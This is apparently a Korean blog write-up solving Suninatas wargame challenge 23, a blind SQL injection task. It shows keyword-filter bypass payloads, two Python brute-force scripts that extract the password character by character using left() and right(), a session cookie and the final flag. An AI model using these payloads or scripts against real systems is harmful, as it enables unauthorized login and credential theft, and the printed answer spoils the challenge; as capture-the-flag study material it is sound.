일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- Web
- 치트엔진 튜토리얼 게임
- 치트엔진
- BasicRCE
- 리버싱
- 치트엔진 튜토리얼
- xcz.kr
- 8번문제
- WTF_CODE
- 오토잇디컴파일
- 포렌식
- Couldn't invoke the file
- cheatengine
- reversing
- suninatas
- Couldn't in
- 3번문제
- 1번문제
- CheatEngine Tutorial
- 시스템
- wargame.kr
- 써니나타스
- 워게임풀이
- 워게임
- xcz.kr 문제풀이
- Basic RCE
- CodeEngn
- 6번문제
- WarGame
- xcz.kr prob
- Today
- Total
HackChang
[Suninatas] 써니나타스 23번 문제 풀이 본문
이번 문제도 Blind SQL Injection 문제다.
저번문제와 비슷해보이지만, 필터링에 admin과 substring이 추가됐다.
admin을 필터하기 때문에
adm이라는 문자열과 in이라는 문자열을 합치면 필터를 우회할 수 있을 것이라고 생각했다.
바로 진행해보도록 하겠다.
id - adm'+'in'--
pw - 1234
이렇게 로그인이 잘 되는 것을 볼 수 있다.
이제 전에 했던 것처럼 pw의 길이를 구해보도록 하겠다.
id : adm'+'in'and len(pw) > 10 --
pw : 1234
이번 비밀번호의 길이는 10보다 크다.
id : id : adm'+'in'and len(pw) > 12 --
pw : 1234
10<len(pw)<=12
id : id : id : adm'+'in'and len(pw) = 12 --
pw : 1234
비밀번호의 길이가 12인 것을 알 수 있었다.
이제 substring을 막았으니 이를 대체할 키워드를 찾아야하는데
left, right가 떠올랐다.
left를 통해서 첫 글자를 알아보도록 하겠다.
id - adm'+'in'and left(pw,1)='V'--
pw - 1234
암호의 첫 번째 글자는 V인 것을 알 수 있었다.
id - adm'+'in' and left(pw, 1) = 'Va'--
pw - 1234
암호의 두번째 글자를 찾기위해 a부터 넣고 진행해보려 했지만,
False이 아닌 No Hack이 뜨는 것을 볼 수 있다.
sql의 길이에 대해도 필터가 되어있다고 생각했다.
id - 'or left(pw,1)='V' --
pw - 1234 이렇게 짧게 admin으로 로그인을 할 수 있다.
간단하게 파이썬 코드를 짜보도록 하겠다.
import requests
pw = 'V'
baseurl = "http://suninatas.com/challenge/web23/web23.asp"
# 첫번째 글자는 V인 것을 알고 있음. 마지막(12)번째 글자까지 진행
for i in range(2,13):
# 아스키 모든 문자로 비교하기 위해서
for j in range(33,128):
url = baseurl+"?id='or+left(pw,{})='{}'--&pw=1234".format(i,pw+chr(j))
cookies = {'ASPSESSIONIDAACDSAQA':'자신의 세션ID'}
res = requests.get(url=url,cookies=cookies)
# 결과가 True일 때
if res.text.find("OK") != -1:
pw += chr(j)
print(str(i)+" : "+chr(j))
break
print("password : "+pw);
하지만 이렇게 10글자밖에 나오지 않았다.
우리는 12글자를 구해야하는데 이것 또한 길이가 필터링에 걸린다..
남은 두글자는 right를 사용해서 풀어보도록 하겠다.
기존의 left소스를 조금만 수정하면된다.
import requests
pw = ''
baseurl = "http://suninatas.com/challenge/web23/web23.asp"
for i in range(1,13):
# 아스키 모든 문자로 비교하기 위해서
for j in range(33,128):
url = baseurl+"?id='or+right(pw,{})='{}'--&pw=1".format(i,chr(j)+pw)
cookies = {'ASPSESSIONIDAACDSAQA':'zi2nskugsk1ausj5impp400s'}
res = requests.get(url=url,cookies=cookies)
# 결과가 True일 때
if res.text.find("OK") != -1:
pw += chr(j)
print(str(i)+" : "+chr(j))
break
print("password : "+pw);
종합해서 보면
V3RYHARDSQLI 인 것을 알 수 있다.
인증이 안돼서 고민하다가 소문자로 입력을 해서 클리어를 했다.
'W4RG4M3 > W3B' 카테고리의 다른 글
[Wargame.kr] 2번 문제 풀이 already got (0) | 2021.07.23 |
---|---|
[Wargame.kr] 1번 문제 풀이 flee button (0) | 2021.07.23 |
[Suninatas] 써니나타스 22번 문제 풀이 (0) | 2020.08.06 |
[Suninatas] 써니나타스 8번 문제 풀이 (0) | 2020.07.31 |
[Suninatas] 써니나타스 7번 문제 풀이 (0) | 2020.07.31 |